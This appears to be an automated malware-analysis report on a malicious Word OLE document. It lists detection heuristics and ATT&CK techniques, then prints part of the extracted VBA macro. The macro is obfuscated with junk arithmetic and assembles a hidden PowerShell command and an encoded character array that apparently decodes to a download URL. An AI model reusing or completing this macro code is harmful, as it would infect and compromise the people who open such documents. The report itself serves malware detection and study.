MALICIOUS
162
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious OLE document containing a VBA macro. The macro utilizes the Shell() function, indicating an attempt to execute arbitrary commands or payloads. The Document_Open macro firing further suggests that the malicious code is designed to run automatically upon opening the document. The large amount of slack space in the OLE structure is also anomalous.
Heuristics 5
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
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OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 120,832 bytes but its declared streams total only 35,355 bytes — 85,477 bytes (71%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 16057 bytes |
SHA-256: 86b8c38e676910981bb41e0a71aa71a03c8bc10cafb26cc9d6ccc45a8ac4f9f2 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "soZIDaE"
Function YLKFj()
On Error Resume Next
uwDMuI = dRplWj
VZhMb = Sqr(48979)
mfwnrs = 54710 + Pfslm + (32014 * CDbl(EOLQSR) - CXwGTo / CSng(8110) - hvZcNZ / Hex(zjNVci) + 46560 - 39541)
OPJda = kZnNcw - MKCWIQ / 55092 / wptdD - 223327908 + Hex(ltGrMH) * KNEwVG - Round(97071)
iMCaCbDSkGc = "HeLL " + " . ( $EnV:Com" + "SPEc[4,15,25]" + "-JoiN'') ( -J"
hOGaYw = XLEKw
pkRuNY = Sqr(72096)
RZQzX = 7568 + jjWQqG + (3793 * CDbl(wZnKiP) - bnDfr / CSng(51090) - vmBLn / Hex(nozzCz) + 14229 - 748)
zSnBw = vrMYKl - OfSIKK / 55166 / IfHPjz - 223327908 + Hex(NzNzJ) * Bszro - Round(21983)
wihtHWsO = "OI" + "N ((" + "46 , 80 , 90 " + ",105 , 10" + "7, 73,42, 55,4" + "2 , " + "100, 111,125"
FpazO = aEzlD
bbOkn = Sqr(88958)
Ibrnf = 73812 + iciOL + (24158 * CDbl(NMmTRV) - bjSEKA / CSng(53970) - OOMJj / Hex(vKETF) + 48928 - 62710)
SfUhO = rYiVlm - NQCCc / 50788 / ChzLw - 223327908 + Hex(BIrqZ) * hIwir - Round(54540)
hVdWjisBzvz = ", 39," + " 101,104" + ", 96," + " 11" + "1, 10" + "5, 126,42 , 12"
TDmVw = mYMKY
mVEdC = Sqr(88987)
HMbLk = 62519 + kwjih + (85785 * CDbl(YFzQiK) - IHOPM / CSng(2144) - JtpwSd / Hex(AFwMB) + 68413 - 83543)
ZvcOmz = NwYfP - CrjOOd / 47878 / CEjaij - 223327908 + Hex(tLiww) * UtWEqS - Round(88745)
qtUlivdR = "0 ,107" + ",100" + " , 110, 1" + "01" + ", 1" + "03, 49,46 , 92 " + ",72,93 ,95, 90 "
AoWTQV = lqOZVi
pCRnzX = Sqr(60271)
rvnEQ = 72728 + kphRw + (66214 * CDbl(NKXKiG) - QKHRN / CSng(47003) - VUYdt / Hex(CaQmCI) + 47018 - 30853)
OqcWal = mCNMPV - oElvm / 88668 / IWhlRV - 223327908 + Hex(Aaajp) * KmRabp - Round(69342)
BAuuFTuF = ",105 ,42 , 55" + ", 42, " + "100 ," + "111 ,12" + "5," + "39 , 1" + "01, 104 ,96 ,11" + "1,1"
zuLAdj = MBCll
ialiM = Sqr(50274)
GUukJ = 30504 + mcmcZr + (96157 * CDbl(mLTwK) - IbWkno / CSng(81504) - YXwEYE / Hex(XpSaI) + 25265 - 45100)
jobTzs = AVblz - PiVTt / 68849 / VAWBY - 223327908 + Hex(TnKCFi) * ioKdF - Round(13253)
avEbj = "05 ,126 ,42 , 8" + "9, 115 ," + " 121 ," + " 1" + "26,11" + "1, 103 , 36, 68" + ",111 ,12" + "6 , 36 ,9"
zpzwW = TsEFS
PzdbP = Sqr(52252)
cLUiRZ = 90063 + ZkpTW + (14242 * CDbl(VaTrOm) - PjDYf / CSng(21019) - aiFjQ / Hex(BNFsE) + 19629 - 90134)
RkNECS = nittju - BkjGFk / 14934 / anDsK - 223327908 + Hex(hZwQjT) * wriNj - Round(11071)
zJYQQdXdn = "3," + " 111 , " + "104,73 ,10" + "2,99 ,1" + "11 " + ", 1" + "00,126 ,"
azKaAB = PtVJq
DhaaL = Sqr(20529)
wJZAKH = 93374 + EwdAa + (81121 * CDbl(sFsVi) - ubddrJ / CSng(72318) - jbGtd / Hex(oSiDc) + 17697 - 37826)
ocnLI = iwXSw - oYVWG / 93649 / OabptV - 223327908 + Hex(YXvDR) * avrwTh - Round(40595)
nQziiwG = "49 " + ", 46,102 ,103" + ", 65, 9" + "4 , 95,"
GVHkd = fzhKTd
cOmPKH = Sqr(88315)
wvNnup = 90036 + KATBAk + (86130 * CDbl(XDZbUI) - TEQXi / CSng(52259) - lknRiA / Hex(KZrajv) + 40392 - 76160)
Mnqtj = SMCUPj - jFsDM / 57468 / BoNkjU - 223327908 + Hex(JwLfdq) * ErKjbv - Round(48382)
TiIjS = "42, 55 ,42 , " + "45 , 98," + "126 ,126,122 ," + " 121," + "48," + " 37 , 37, 126," + "120,101 , 121," + " 126, 111,102, " + "36 ,111 ,127"
daFEV = JtMwdM
TLuNvL = Sqr(85669)
YaFNO = 81505 + Prpms + (52910 * CDbl(NiTliI) - Kmibwu / CSng(244) - zhzil / Hex(REWMFP) + 97416 - 73636)
vDNNn = lPwJMs - mOqzw / 56930 / YdsoYC - 223327908 + Hex(QEjEq) * UEaXS - Round(57512)
LCHAN = " ,37 ,77, 58 ,1" + "20, 50," + " 65 ,110" + " ,79,126," + " 66 ," + "127 , 37 ," + "74 ,98"
YLKFj = iMCaCbDSkGc + wihtHWsO + hVdWjisBzvz + qtUlivdR + BAuuFTuF + avEbj + zJYQQdXdn + nQziiwG + TiIjS + LCHAN
End Function
Function djdRiq()
On Error Resume Next
lwIGlu = jwEOwi
PIpwH = Sqr(73622)
nRLZpl = 30934 + LPEWl + (75842 * CDbl(oShSAL) - UlCiZi / CSng(38774) - RGILj / Hex(PwcsNQ) + 72916 - 87082)
fhjMzZ = LLlAK - wNaGwZ / 36777 / Znvpb - 223327908 + Hex(nVkfMN) * aabUop - Round(55057)
TJvaz = ", " + "126, 126 , 122" + ",4" + "8 , 37, 37, 126"
hbPbv = BiiCi
Ubiij = Sqr(27097)
cFunW = 42587 + ipbGow + (25694 * CDbl(nwlHj) - nsMfOf / CSng(60419) - nBdduH / Hex(fnwSA) + 87958 - 53066)
zuwcpN = HHqKwB - cKCFD / 14503 / mojwL - 223327908 + Hex(rEkzzX) * EjfSS - Round(13685)
... (truncated)
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